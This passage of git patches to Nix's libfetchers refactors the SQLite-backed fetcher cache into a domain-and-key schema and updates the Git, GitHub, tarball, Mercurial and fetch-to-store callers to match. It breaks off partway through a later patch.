 static const char * schema = R"sql(
 
 create table if not exists Cache (
-    input     text not null,
-    info      text not null,
-    path      text not null,
-    immutable integer not null, /* obsolete */
+    domain    text not null,
+    key       text not null,
+    value     text not null,
     timestamp integer not null,
-    primary key (input)
+    primary key (domain, key)
 );
 )sql";
 
@@ -28,7 +27,7 @@ struct CacheImpl : Cache
     struct State
     {
         SQLite db;
-        SQLiteStmt add, lookup;
+        SQLiteStmt upsert, lookup;
     };
 
     Sync<State> _state;
@@ -37,133 +36,134 @@ struct CacheImpl : Cache
     {
         auto state(_state.lock());
 
-        auto dbPath = getCacheDir() + "/nix/fetcher-cache-v1.sqlite";
+        auto dbPath = getCacheDir() + "/nix/fetcher-cache-v2.sqlite";
         createDirs(dirOf(dbPath));
 
         state->db = SQLite(dbPath);
         state->db.isCache();
         state->db.exec(schema);
 
-        state->add.create(state->db,
-            "insert or replace into Cache(input, info, path, immutable, timestamp) values (?, ?, ?, false, ?)");
+        state->upsert.create(state->db,
+            "insert or replace into Cache(domain, key, value, timestamp) values (?, ?, ?, ?)");
 
         state->lookup.create(state->db,
-            "select info, path, immutable, timestamp from Cache where input = ?");
+            "select value, timestamp from Cache where domain = ? and key = ?");
     }
 
     void upsert(
-        const Attrs & inAttrs,
-        const Attrs & infoAttrs) override
+        std::string_view domain,
+        const Attrs & key,
+        const Attrs & value) override
     {
-        _state.lock()->add.use()
-            (attrsToJSON(inAttrs).dump())
-            (attrsToJSON(infoAttrs).dump())
-            ("") // no path
+        _state.lock()->upsert.use()
+            (domain)
+            (attrsToJSON(key).dump())
+            (attrsToJSON(value).dump())
             (time(0)).exec();
     }
 
-    std::optional<Attrs> lookup(const Attrs & inAttrs) override
+    std::optional<Attrs> lookup(
+        std::string_view domain,
+        const Attrs & key) override
     {
-        if (auto res = lookupExpired(inAttrs))
-            return std::move(res->infoAttrs);
+        if (auto res = lookupExpired(domain, key))
+            return std::move(res->value);
         return {};
     }
 
-    std::optional<Attrs> lookupWithTTL(const Attrs & inAttrs) override
+    std::optional<Attrs> lookupWithTTL(
+        std::string_view domain,
+        const Attrs & key) override
     {
-        if (auto res = lookupExpired(inAttrs)) {
+        if (auto res = lookupExpired(domain, key)) {
             if (!res->expired)
-                return std::move(res->infoAttrs);
-            debug("ignoring expired cache entry '%s'",
-                attrsToJSON(inAttrs).dump());
+                return std::move(res->value);
+            debug("ignoring expired cache entry '%s:%s'",
+                domain, attrsToJSON(key).dump());
         }
         return {};
     }
 
-    std::optional<Result2> lookupExpired(const Attrs & inAttrs) override
+    std::optional<Result> lookupExpired(
+        std::string_view domain,
+        const Attrs & key) override
     {
         auto state(_state.lock());
 
-        auto inAttrsJSON = attrsToJSON(inAttrs).dump();
+        auto keyJSON = attrsToJSON(key).dump();
 
-        auto stmt(state->lookup.use()(inAttrsJSON));
+        auto stmt(state->lookup.use()(domain)(keyJSON));
         if (!stmt.next()) {
-            debug("did not find cache entry for '%s'", inAttrsJSON);
+            debug("did not find cache entry for '%s:%s'", domain, keyJSON);
             return {};
         }
 
-        auto infoJSON = stmt.getStr(0);
-        auto locked = stmt.getInt(2) != 0;
-        auto timestamp = stmt.getInt(3);
+        auto valueJSON = stmt.getStr(0);
+        auto timestamp = stmt.getInt(1);
 
-        debug("using cache entry '%s' -> '%s'", inAttrsJSON, infoJSON);
+        debug("using cache entry '%s:%s' -> '%s'", domain, keyJSON, valueJSON);
 
-        return Result2 {
-            .expired = !locked && (settings.tarballTtl.get() == 0 || timestamp + settings.tarballTtl < time(0)),
-            .infoAttrs = jsonToAttrs(nlohmann::json::parse(infoJSON)),
+        return Result {
+            .expired = settings.tarballTtl.get() == 0 || timestamp + settings.tarballTtl < time(0),
+            .value = jsonToAttrs(nlohmann::json::parse(valueJSON)),
         };
     }
 
-    void add(
+    void upsert(
+        std::string_view domain,
+        Attrs key,
         Store & store,
-        const Attrs & inAttrs,
-        const Attrs & infoAttrs,
-        const StorePath & storePath) override
+        Attrs value,
+        const StorePath & storePath)
     {
-        _state.lock()->add.use()
-            (attrsToJSON(inAttrs).dump())
-            (attrsToJSON(infoAttrs).dump())
-            (store.printStorePath(storePath))
-            (time(0)).exec();
-    }
+        /* Add the store prefix to the cache key to handle multiple
+           store prefixes. */
+        key.insert_or_assign("store", store.storeDir);
 
-    std::optional<std::pair<Attrs, StorePath>> lookup(
-        Store & store,
-        const Attrs & inAttrs) override
-    {
-        if (auto res = lookupExpired(store, inAttrs)) {
-            if (!res->expired)
-                return std::make_pair(std::move(res->infoAttrs), std::move(res->storePath));
-            debug("ignoring expired cache entry '%s'",
-                attrsToJSON(inAttrs).dump());
-        }
-        return {};
+        value.insert_or_assign("storePath", (std::string) storePath.to_string());
+
+        upsert(domain, key, value);
     }
 
-    std::optional<Result> lookupExpired(
-        Store & store,
-        const Attrs & inAttrs) override
+    std::optional<ResultWithStorePath> lookupStorePath(
+        std::string_view domain,
+        Attrs key,
+        Store & store) override
     {
-        auto state(_state.lock());
+        key.insert_or_assign("store", store.storeDir);
 
-        auto inAttrsJSON = attrsToJSON(inAttrs).dump();
+        auto res = lookupExpired(domain, key);
+        if (!res) return std::nullopt;
 
-        auto stmt(state->lookup.use()(inAttrsJSON));
-        if (!stmt.next()) {
-            debug("did not find cache entry for '%s'", inAttrsJSON);
-            return {};
-        }
+        auto storePathS = getStrAttr(res->value, "storePath");
+        res->value.erase("storePath");
 
-        auto infoJSON = stmt.getStr(0);
-        auto storePath = store.parseStorePath(stmt.getStr(1));
-        auto locked = stmt.getInt(2) != 0;
-        auto timestamp = stmt.getInt(3);
+        ResultWithStorePath res2(*res, StorePath(storePathS));
 
-        store.addTempRoot(storePath);
-        if (!store.isValidPath(storePath)) {
+        store.addTempRoot(res2.storePath);
+        if (!store.isValidPath(res2.storePath)) {
             // FIXME: we could try to substitute 'storePath'.
-            debug("ignoring disappeared cache entry '%s'", inAttrsJSON);
-            return {};
+            debug("ignoring disappeared cache entry '%s' -> '%s'",
+                attrsToJSON(key).dump(),
+                store.printStorePath(res2.storePath));
+            return std::nullopt;
         }
 
         debug("using cache entry '%s' -> '%s', '%s'",
-            inAttrsJSON, infoJSON, store.printStorePath(storePath));
+            attrsToJSON(key).dump(),
+            attrsToJSON(res2.value).dump(),
+            store.printStorePath(res2.storePath));
 
-        return Result {
-            .expired = !locked && (settings.tarballTtl.get() == 0 || timestamp + settings.tarballTtl < time(0)),
-            .infoAttrs = jsonToAttrs(nlohmann::json::parse(infoJSON)),
-            .storePath = std::move(storePath)
-        };
+        return res2;
+    }
+
+    std::optional<ResultWithStorePath> lookupStorePathWithTTL(
+        std::string_view domain,
+        Attrs key,
+        Store & store) override
+    {
+        auto res = lookupStorePath(domain, std::move(key), store);
+        return res && !res->expired ? res : std::nullopt;
     }
 };
 
diff --git a/src/libfetchers/cache.hh b/src/libfetchers/cache.hh
index 5e05d7af8d0..3295b56bc37 100644
--- a/src/libfetchers/cache.hh
+++ b/src/libfetchers/cache.hh
@@ -19,56 +19,73 @@ struct Cache
      * Attrs to Attrs.
      */
     virtual void upsert(
-        const Attrs & inAttrs,
-        const Attrs & infoAttrs) = 0;
+        std::string_view domain,
+        const Attrs & key,
+        const Attrs & value) = 0;
 
     /**
      * Look up a key with infinite TTL.
      */
     virtual std::optional<Attrs> lookup(
-        const Attrs & inAttrs) = 0;
+        std::string_view domain,
+        const Attrs & key) = 0;
 
     /**
      * Look up a key. Return nothing if its TTL has exceeded
      * `settings.tarballTTL`.
      */
     virtual std::optional<Attrs> lookupWithTTL(
-        const Attrs & inAttrs) = 0;
+        std::string_view domain,
+        const Attrs & key) = 0;
 
-    struct Result2
+    struct Result
     {
         bool expired = false;
-        Attrs infoAttrs;
+        Attrs value;
     };
 
     /**
      * Look up a key. Return a bool denoting whether its TTL has
      * exceeded `settings.tarballTTL`.
      */
-    virtual std::optional<Result2> lookupExpired(
-        const Attrs & inAttrs) = 0;
+    virtual std::optional<Result> lookupExpired(
+        std::string_view domain,
+        const Attrs & key) = 0;
 
-    /* Old cache for things that have a store path. */
-    virtual void add(
+    /**
+     * Insert a cache entry that has a store path associated with
+     * it. Such cache entries are always considered stale if the
+     * associated store path is invalid.
+     */
+    virtual void upsert(
+        std::string_view domain,
+        Attrs key,
         Store & store,
-        const Attrs & inAttrs,
-        const Attrs & infoAttrs,
+        Attrs value,
         const StorePath & storePath) = 0;
 
-    virtual std::optional<std::pair<Attrs, StorePath>> lookup(
-        Store & store,
-        const Attrs & inAttrs) = 0;
-
-    struct Result
+    struct ResultWithStorePath : Result
     {
-        bool expired = false;
-        Attrs infoAttrs;
         StorePath storePath;
     };
 
-    virtual std::optional<Result> lookupExpired(
-        Store & store,
-        const Attrs & inAttrs) = 0;
+    /**
+     * Look up a store path in the cache. The returned store path will
+     * be valid, but it may be expired.
+     */
+    virtual std::optional<ResultWithStorePath> lookupStorePath(
+        std::string_view domain,
+        Attrs key,
+        Store & store) = 0;
+
+    /**
+     * Look up a store path in the cache. Return nothing if its TTL
+     * has exceeded `settings.tarballTTL`.
+     */
+    virtual std::optional<ResultWithStorePath> lookupStorePathWithTTL(
+        std::string_view domain,
+        Attrs key,
+        Store & store) = 0;
 };
 
 ref<Cache> getCache();
diff --git a/src/libfetchers/fetch-to-store.cc b/src/libfetchers/fetch-to-store.cc
index 4156302c4d5..2116906ad07 100644
--- a/src/libfetchers/fetch-to-store.cc
+++ b/src/libfetchers/fetch-to-store.cc
@@ -16,20 +16,19 @@ StorePath fetchToStore(
     // FIXME: add an optimisation for the case where the accessor is
     // an FSInputAccessor pointing to a store path.
 
+    auto domain = "fetchToStore";
     std::optional<fetchers::Attrs> cacheKey;
 
     if (!filter && path.accessor->fingerprint) {
         cacheKey = fetchers::Attrs{
-            {"_what", "fetchToStore"},
-            {"store", store.storeDir},
             {"name", std::string{name}},
             {"fingerprint", *path.accessor->fingerprint},
             {"method", std::string{method.render()}},
             {"path", path.path.abs()}
         };
-        if (auto res = fetchers::getCache()->lookup(store, *cacheKey)) {
+        if (auto res = fetchers::getCache()->lookupStorePath(domain, *cacheKey, store)) {
             debug("store path cache hit for '%s'", path);
-            return res->second;
+            return res->storePath;
         }
     } else
         debug("source path '%s' is uncacheable", path);
@@ -47,7 +46,7 @@ StorePath fetchToStore(
             name, *path.accessor, path.path, method, HashAlgorithm::SHA256, {}, filter2, repair);
 
     if (cacheKey && mode == FetchMode::Copy)
-        fetchers::getCache()->add(store, *cacheKey, {}, storePath);
+        fetchers::getCache()->upsert(domain, *cacheKey, store, {}, storePath);
 
     return storePath;
 }
diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc
index 5ecd825b7af..ae4facc6738 100644
--- a/src/libfetchers/git-utils.cc
+++ b/src/libfetchers/git-utils.cc
@@ -456,14 +456,15 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this<GitRepoImpl>
     {
         auto accessor = getAccessor(treeHash, false);
 
-        fetchers::Attrs cacheKey({{"_what", "treeHashToNarHash"}, {"treeHash", treeHash.gitRev()}});
+        auto domain = "treeHashToNarHash";
+        fetchers::Attrs cacheKey({{"treeHash", treeHash.gitRev()}});
 
-        if (auto res = fetchers::getCache()->lookup(cacheKey))
+        if (auto res = fetchers::getCache()->lookup(domain, cacheKey))
             return Hash::parseAny(fetchers::getStrAttr(*res, "narHash"), HashAlgorithm::SHA256);
 
         auto narHash = accessor->hashPath(CanonPath::root);
 
-        fetchers::getCache()->upsert(cacheKey, fetchers::Attrs({{"narHash", narHash.to_string(HashFormat::SRI, true)}}));
+        fetchers::getCache()->upsert(domain, cacheKey, fetchers::Attrs({{"narHash", narHash.to_string(HashFormat::SRI, true)}}));
 
         return narHash;
     }
diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc
index 985f2e47991..4871449252f 100644
--- a/src/libfetchers/github.cc
+++ b/src/libfetchers/github.cc
@@ -225,11 +225,13 @@ struct GitArchiveInputScheme : InputScheme
 
         auto cache = getCache();
 
-        Attrs treeHashKey{{"_what", "gitRevToTreeHash"}, {"rev", rev->gitRev()}};
-        Attrs lastModifiedKey{{"_what", "gitRevToLastModified"}, {"rev", rev->gitRev()}};
+        auto treeHashDomain = "gitRevToTreeHash";
+        Attrs treeHashKey{{"rev", rev->gitRev()}};
+        auto lastModifiedDomain = "gitRevToLastModified";
+        Attrs lastModifiedKey{{"rev", rev->gitRev()}};
 
-        if (auto treeHashAttrs = cache->lookup(treeHashKey)) {
-            if (auto lastModifiedAttrs = cache->lookup(lastModifiedKey)) {
+        if (auto treeHashAttrs = cache->lookup(treeHashDomain, treeHashKey)) {
+            if (auto lastModifiedAttrs = cache->lookup(lastModifiedDomain, lastModifiedKey)) {
                 auto treeHash = getRevAttr(*treeHashAttrs, "treeHash");
                 auto lastModified = getIntAttr(*lastModifiedAttrs, "lastModified");
                 if (getTarballCache()->hasObject(treeHash))
@@ -257,8 +259,8 @@ struct GitArchiveInputScheme : InputScheme
             .lastModified = lastModified
         };
 
-        cache->upsert(treeHashKey, Attrs{{"treeHash", tarballInfo.treeHash.gitRev()}});
-        cache->upsert(lastModifiedKey, Attrs{{"lastModified", (uint64_t) tarballInfo.lastModified}});
+        cache->upsert(treeHashDomain, treeHashKey, Attrs{{"treeHash", tarballInfo.treeHash.gitRev()}});
+        cache->upsert(lastModifiedDomain, lastModifiedKey, Attrs{{"lastModified", (uint64_t) tarballInfo.lastModified}});
 
         #if 0
         if (upstreamTreeHash != tarballInfo.treeHash)
diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc
index fd59c113271..285e2803c95 100644
--- a/src/libfetchers/tarball.cc
+++ b/src/libfetchers/tarball.cc
@@ -23,21 +23,22 @@ DownloadFileResult downloadFile(
 {
     // FIXME: check store
 
-    Attrs inAttrs({
-        {"type", "file"},
+    auto domain = "file";
+
+    Attrs key({
         {"url", url},
         {"name", name},
     });
 
-    auto cached = getCache()->lookupExpired(*store, inAttrs);
+    auto cached = getCache()->lookupStorePath(domain, key, *store);
 
     auto useCached = [&]() -> DownloadFileResult
     {
         return {
             .storePath = std::move(cached->storePath),
-            .etag = getStrAttr(cached->infoAttrs, "etag"),
-            .effectiveUrl = getStrAttr(cached->infoAttrs, "url"),
-            .immutableUrl = maybeGetStrAttr(cached->infoAttrs, "immutableUrl"),
+            .etag = getStrAttr(cached->value, "etag"),
+            .effectiveUrl = getStrAttr(cached->value, "url"),
+            .immutableUrl = maybeGetStrAttr(cached->value, "immutableUrl"),
         };
     };
 
@@ -47,7 +48,7 @@ DownloadFileResult downloadFile(
     FileTransferRequest request(url);
     request.headers = headers;
     if (cached)
-        request.expectedETag = getStrAttr(cached->infoAttrs, "etag");
+        request.expectedETag = getStrAttr(cached->value, "etag");
     FileTransferResult res;
     try {
         res = getFileTransfer()->download(request);
@@ -93,13 +94,9 @@ DownloadFileResult downloadFile(
 
     /* Cache metadata for all URLs in the redirect chain. */
     for (auto & url : res.urls) {
-        inAttrs.insert_or_assign("url", url);
+        key.insert_or_assign("url", url);
         infoAttrs.insert_or_assign("url", *res.urls.rbegin());
-        getCache()->add(
-            *store,
-            inAttrs,
-            infoAttrs,
-            *storePath);
+        getCache()->upsert(domain, key, *store, infoAttrs, *storePath);
     }
 
     return {
@@ -114,12 +111,12 @@ DownloadTarballResult downloadTarball(
     const std::string & url,
     const Headers & headers)
 {
-    Attrs inAttrs({
-        {"_what", "tarballCache"},
+    auto domain = "tarball";
+    Attrs cacheKey{
         {"url", url},
-    });
+    };
 
-    auto cached = getCache()->lookupExpired(inAttrs);
+    auto cached = getCache()->lookupExpired(domain, cacheKey);
 
     auto attrsToResult = [&](const Attrs & infoAttrs)
     {
@@ -132,19 +129,19 @@ DownloadTarballResult downloadTarball(
         };
     };
 
-    if (cached && !getTarballCache()->hasObject(getRevAttr(cached->infoAttrs, "treeHash")))
+    if (cached && !getTarballCache()->hasObject(getRevAttr(cached->value, "treeHash")))
         cached.reset();
 
     if (cached && !cached->expired)
         /* We previously downloaded this tarball and it's younger than
            `tarballTtl`, so no need to check the server. */
-        return attrsToResult(cached->infoAttrs);
+        return attrsToResult(cached->value);
 
     auto _res = std::make_shared<Sync<FileTransferResult>>();
 
     auto source = sinkToSource([&](Sink & sink) {
         FileTransferRequest req(url);
-        req.expectedETag = cached ? getStrAttr(cached->infoAttrs, "etag") : "";
+        req.expectedETag = cached ? getStrAttr(cached->value, "etag") : "";
         getFileTransfer()->download(std::move(req), sink,
             [_res](FileTransferResult r)
             {
@@ -167,7 +164,7 @@ DownloadTarballResult downloadTarball(
     if (res->cached) {
         /* The server says that the previously downloaded version is
            still current. */
-        infoAttrs = cached->infoAttrs;
+        infoAttrs = cached->value;
     } else {
         infoAttrs.insert_or_assign("etag", res->etag);
         infoAttrs.insert_or_assign("treeHash", parseSink->sync().gitRev());
@@ -178,8 +175,8 @@ DownloadTarballResult downloadTarball(
 
     /* Insert a cache entry for every URL in the redirect chain. */
     for (auto & url : res->urls) {
-        inAttrs.insert_or_assign("url", url);
-        getCache()->upsert(inAttrs, infoAttrs);
+        cacheKey.insert_or_assign("url", url);
+        getCache()->upsert(domain, cacheKey, infoAttrs);
     }
 
     // FIXME: add a cache entry for immutableUrl? That could allow
diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc
index 45e62ebe190..bb1bff7abab 100644
--- a/src/libfetchers/unix/git.cc
+++ b/src/libfetchers/unix/git.cc
@@ -427,34 +427,36 @@ struct GitInputScheme : InputScheme
 
     uint64_t getLastModified(const RepoInfo & repoInfo, const std::string & repoDir, const Hash & rev) const
     {
-        Attrs key{{"_what", "gitLastModified"}, {"rev", rev.gitRev()}};
+        auto domain = "gitLastModified";
+        Attrs key{{"rev", rev.gitRev()}};
 
         auto cache = getCache();
 
-        if (auto res = cache->lookup(key))
+        if (auto res = cache->lookup(domain, key))
             return getIntAttr(*res, "lastModified");
 
         auto lastModified = GitRepo::openRepo(repoDir)->getLastModified(rev);
 
-        cache->upsert(key, Attrs{{"lastModified", lastModified}});
+        cache->upsert(domain, key, {{"lastModified", lastModified}});
 
         return lastModified;
     }
 
     uint64_t getRevCount(const RepoInfo & repoInfo, const std::string & repoDir, const Hash & rev) const
     {
-        Attrs key{{"_what", "gitRevCount"}, {"rev", rev.gitRev()}};
+        auto domain = "gitRevCount";
+        Attrs key{{"rev", rev.gitRev()}};
 
         auto cache = getCache();
 
-        if (auto revCountAttrs = cache->lookup(key))
+        if (auto revCountAttrs = cache->lookup(domain, key))
             return getIntAttr(*revCountAttrs, "revCount");
 
         Activity act(*logger, lvlChatty, actUnknown, fmt("getting Git revision count of '%s'", repoInfo.url));
 
         auto revCount = GitRepo::openRepo(repoDir)->getRevCount(rev);
 
-        cache->upsert(key, Attrs{{"revCount", revCount}});
+        cache->upsert(domain, key, Attrs{{"revCount", revCount}});
 
         return revCount;
     }
diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc
index 783e338bfb5..42757f2db67 100644
--- a/src/libfetchers/unix/mercurial.cc
+++ b/src/libfetchers/unix/mercurial.cc
@@ -224,13 +224,13 @@ struct MercurialInputScheme : InputScheme
 
         if (!input.getRef()) input.attrs.insert_or_assign("ref", "default");
 
-        auto revInfoCacheKey = [&](const Hash & rev)
+        auto revInfoDomain = "hgRev";
+        auto revInfoKey = [&](const Hash & rev)
         {
             if (rev.algo != HashAlgorithm::SHA1)
                 throw Error("Hash '%s' is not supported by Mercurial. Only sha1 is supported.", rev.to_string(HashFormat::Base16, true));
 
             return Attrs{
-                {"_what", "hgRev"},
                 {"store", store->storeDir},
                 {"name", name},
                 {"rev", input.getRev()->gitRev()}
@@ -246,21 +246,21 @@ struct MercurialInputScheme : InputScheme
         };
 
         /* Check the cache for the most recent rev for this URL/ref. */
-        Attrs refToRevCacheKey{
-            {"_what", "hgRefToRev"},
+        auto refToRevDomain = "hgRefToRev";
+        Attrs refToRevKey{
             {"url", actualUrl},
             {"ref", *input.getRef()}
         };
 
         if (!input.getRev()) {
-            if (auto res = getCache()->lookupWithTTL(refToRevCacheKey))
+            if (auto res = getCache()->lookupWithTTL(refToRevDomain, refToRevKey))
                 input.attrs.insert_or_assign("rev", getRevAttr(*res, "rev").gitRev());
         }
 
         /* If we have a rev, check if we have a cached store path. */
         if (auto rev = input.getRev()) {
-            if (auto res = getCache()->lookupExpired(*store, revInfoCacheKey(*rev)))
-                return makeResult(res->infoAttrs, res->storePath);
+            if (auto res = getCache()->lookupStorePath(revInfoDomain, revInfoKey(*rev), *store))
+                return makeResult(res->value, res->storePath);
         }
 
         Path cacheDir = fmt("%s/nix/hg/%s", getCacheDir(), hashString(HashAlgorithm::SHA256, actualUrl).to_string(HashFormat::Nix32, false));
@@ -309,8 +309,8 @@ struct MercurialInputScheme : InputScheme
 
         /* Now that we have the rev, check the cache again for a
            cached store path. */
-        if (auto res = getCache()->lookupExpired(*store, revInfoCacheKey(rev)))
-            return makeResult(res->infoAttrs, res->storePath);
+        if (auto res = getCache()->lookupStorePath(revInfoDomain, revInfoKey(rev), *store))
+            return makeResult(res->value, res->storePath);
 
         Path tmpDir = createTempDir();
         AutoDelete delTmpDir(tmpDir, true);
@@ -327,13 +327,9 @@ struct MercurialInputScheme : InputScheme
         });
 
         if (!origRev)
-            getCache()->upsert(refToRevCacheKey, {{"rev", rev.gitRev()}});
+            getCache()->upsert(refToRevDomain, refToRevKey, {{"rev", rev.gitRev()}});
 
-        getCache()->add(
-            *store,
-            revInfoCacheKey(rev),
-            infoAttrs,
-            storePath);
+        getCache()->upsert(revInfoDomain, revInfoKey(rev), *store, infoAttrs, storePath);
 
         return makeResult(infoAttrs, std::move(storePath));
     }

From cceae30aafad32e7ba8301980aabee511e5c05de Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Wed, 10 Apr 2024 21:39:40 +0200
Subject: [PATCH 011/528] Combine the domain and key arguments into a single
 value for convenience

---
 src/libfetchers/cache.cc          | 59 ++++++++++++++-----------------
 src/libfetchers/cache.hh          | 35 +++++++++---------
 src/libfetchers/fetch-to-store.cc | 11 +++---
 src/libfetchers/git-utils.cc      |  7 ++--
 src/libfetchers/github.cc         | 14 ++++----
 src/libfetchers/tarball.cc        | 23 +++++-------
 src/libfetchers/unix/git.cc       | 14 ++++----
 src/libfetchers/unix/mercurial.cc | 20 +++++------
 8 files changed, 84 insertions(+), 99 deletions(-)

diff --git a/src/libfetchers/cache.cc b/src/libfetchers/cache.cc
index 34eb6f32c86..87a8e4702f2 100644
--- a/src/libfetchers/cache.cc
+++ b/src/libfetchers/cache.cc
@@ -51,57 +51,53 @@ struct CacheImpl : Cache
     }
 
     void upsert(
-        std::string_view domain,
-        const Attrs & key,
+        const Key & key,
         const Attrs & value) override
     {
         _state.lock()->upsert.use()
-            (domain)
-            (attrsToJSON(key).dump())
+            (key.first)
+            (attrsToJSON(key.second).dump())
             (attrsToJSON(value).dump())
             (time(0)).exec();
     }
 
     std::optional<Attrs> lookup(
-        std::string_view domain,
-        const Attrs & key) override
+        const Key & key) override
     {
-        if (auto res = lookupExpired(domain, key))
+        if (auto res = lookupExpired(key))
             return std::move(res->value);
         return {};
     }
 
     std::optional<Attrs> lookupWithTTL(
-        std::string_view domain,
-        const Attrs & key) override
+        const Key & key) override
     {
-        if (auto res = lookupExpired(domain, key)) {
+        if (auto res = lookupExpired(key)) {
             if (!res->expired)
                 return std::move(res->value);
             debug("ignoring expired cache entry '%s:%s'",
-                domain, attrsToJSON(key).dump());
+                key.first, attrsToJSON(key.second).dump());
         }
         return {};
     }
 
     std::optional<Result> lookupExpired(
-        std::string_view domain,
-        const Attrs & key) override
+        const Key & key) override
     {
         auto state(_state.lock());
 
-        auto keyJSON = attrsToJSON(key).dump();
+        auto keyJSON = attrsToJSON(key.second).dump();
 
-        auto stmt(state->lookup.use()(domain)(keyJSON));
+        auto stmt(state->lookup.use()(key.first)(keyJSON));
         if (!stmt.next()) {
-            debug("did not find cache entry for '%s:%s'", domain, keyJSON);
+            debug("did not find cache entry for '%s:%s'", key.first, keyJSON);
             return {};
         }
 
         auto valueJSON = stmt.getStr(0);
         auto timestamp = stmt.getInt(1);
 
-        debug("using cache entry '%s:%s' -> '%s'", domain, keyJSON, valueJSON);
+        debug("using cache entry '%s:%s' -> '%s'", key.first, keyJSON, valueJSON);
 
         return Result {
             .expired = settings.tarballTtl.get() == 0 || timestamp + settings.tarballTtl < time(0),
@@ -110,29 +106,27 @@ struct CacheImpl : Cache
     }
 
     void upsert(
-        std::string_view domain,
-        Attrs key,
+        Key key,
         Store & store,
         Attrs value,
         const StorePath & storePath)
     {
         /* Add the store prefix to the cache key to handle multiple
            store prefixes. */
-        key.insert_or_assign("store", store.storeDir);
+        key.second.insert_or_assign("store", store.storeDir);
 
         value.insert_or_assign("storePath", (std::string) storePath.to_string());
 
-        upsert(domain, key, value);
+        upsert(key, value);
     }
 
     std::optional<ResultWithStorePath> lookupStorePath(
-        std::string_view domain,
-        Attrs key,
+        Key key,
         Store & store) override
     {
-        key.insert_or_assign("store", store.storeDir);
+        key.second.insert_or_assign("store", store.storeDir);
 
-        auto res = lookupExpired(domain, key);
+        auto res = lookupExpired(key);
         if (!res) return std::nullopt;
 
         auto storePathS = getStrAttr(res->value, "storePath");
@@ -143,14 +137,16 @@ struct CacheImpl : Cache
         store.addTempRoot(res2.storePath);
         if (!store.isValidPath(res2.storePath)) {
             // FIXME: we could try to substitute 'storePath'.
-            debug("ignoring disappeared cache entry '%s' -> '%s'",
-                attrsToJSON(key).dump(),
+            debug("ignoring disappeared cache entry '%s:%s' -> '%s'",
+                key.first,
+                attrsToJSON(key.second).dump(),
                 store.printStorePath(res2.storePath));
             return std::nullopt;
         }
 
-        debug("using cache entry '%s' -> '%s', '%s'",
-            attrsToJSON(key).dump(),
+        debug("using cache entry '%s:%s' -> '%s', '%s'",
+            key.first,
+            attrsToJSON(key.second).dump(),
             attrsToJSON(res2.value).dump(),
             store.printStorePath(res2.storePath));
 
@@ -158,11 +154,10 @@ struct CacheImpl : Cache
     }
 
     std::optional<ResultWithStorePath> lookupStorePathWithTTL(
-        std::string_view domain,
-        Attrs key,
+        Key key,
         Store & store) override
     {
-        auto res = lookupStorePath(domain, std::move(key), store);
+        auto res = lookupStorePath(std::move(key), store);
         return res && !res->expired ? res : std::nullopt;
     }
 };
diff --git a/src/libfetchers/cache.hh b/src/libfetchers/cache.hh
index 3295b56bc37..1a72162d789 100644
--- a/src/libfetchers/cache.hh
+++ b/src/libfetchers/cache.hh
@@ -15,28 +15,35 @@ struct Cache
     virtual ~Cache() { }
 
     /**
-     * Add a value to the cache. The cache is an arbitrary mapping of
-     * Attrs to Attrs.
+     * A domain is a partition of the key/value cache for a particular
+     * purpose, e.g. "Git revision to revcount".
+     */
+    using Domain = std::string_view;
+
+    /**
+     * A cache key is a domain and an arbitrary set of attributes.
+     */
+    using Key = std::pair<Domain, Attrs>;
+
+    /**
+     * Add a key/value pair to the cache.
      */
     virtual void upsert(
-        std::string_view domain,
-        const Attrs & key,
+        const Key & key,
         const Attrs & value) = 0;
 
     /**
      * Look up a key with infinite TTL.
      */
     virtual std::optional<Attrs> lookup(
-        std::string_view domain,
-        const Attrs & key) = 0;
+        const Key & key) = 0;
 
     /**
      * Look up a key. Return nothing if its TTL has exceeded
      * `settings.tarballTTL`.
      */
     virtual std::optional<Attrs> lookupWithTTL(
-        std::string_view domain,
-        const Attrs & key) = 0;
+        const Key & key) = 0;
 
     struct Result
     {
@@ -49,8 +56,7 @@ struct Cache
      * exceeded `settings.tarballTTL`.
      */
     virtual std::optional<Result> lookupExpired(
-        std::string_view domain,
-        const Attrs & key) = 0;
+        const Key & key) = 0;
 
     /**
      * Insert a cache entry that has a store path associated with
@@ -58,8 +64,7 @@ struct Cache
      * associated store path is invalid.
      */
     virtual void upsert(
-        std::string_view domain,
-        Attrs key,
+        Key key,
         Store & store,
         Attrs value,
         const StorePath & storePath) = 0;
@@ -74,8 +79,7 @@ struct Cache
      * be valid, but it may be expired.
      */
     virtual std::optional<ResultWithStorePath> lookupStorePath(
-        std::string_view domain,
-        Attrs key,
+        Key key,
         Store & store) = 0;
 
     /**
@@ -83,8 +87,7 @@ struct Cache
      * has exceeded `settings.tarballTTL`.
      */
     virtual std::optional<ResultWithStorePath> lookupStorePathWithTTL(
-        std::string_view domain,
-        Attrs key,
+        Key key,
         Store & store) = 0;
 };
 
diff --git a/src/libfetchers/fetch-to-store.cc b/src/libfetchers/fetch-to-store.cc
index 2116906ad07..96743cb52be 100644
--- a/src/libfetchers/fetch-to-store.cc
+++ b/src/libfetchers/fetch-to-store.cc
@@ -16,17 +16,16 @@ StorePath fetchToStore(
     // FIXME: add an optimisation for the case where the accessor is
     // an FSInputAccessor pointing to a store path.
 
-    auto domain = "fetchToStore";
-    std::optional<fetchers::Attrs> cacheKey;
+    std::optional<fetchers::Cache::Key> cacheKey;
 
     if (!filter && path.accessor->fingerprint) {
-        cacheKey = fetchers::Attrs{
+        cacheKey = fetchers::Cache::Key{"fetchToStore", {
             {"name", std::string{name}},
             {"fingerprint", *path.accessor->fingerprint},
             {"method", std::string{method.render()}},
             {"path", path.path.abs()}
-        };
-        if (auto res = fetchers::getCache()->lookupStorePath(domain, *cacheKey, store)) {
+        }};
+        if (auto res = fetchers::getCache()->lookupStorePath(*cacheKey, store)) {
             debug("store path cache hit for '%s'", path);
             return res->storePath;
         }
@@ -46,7 +45,7 @@ StorePath fetchToStore(
             name, *path.accessor, path.path, method, HashAlgorithm::SHA256, {}, filter2, repair);
 
     if (cacheKey && mode == FetchMode::Copy)
-        fetchers::getCache()->upsert(domain, *cacheKey, store, {}, storePath);
+        fetchers::getCache()->upsert(*cacheKey, store, {}, storePath);
 
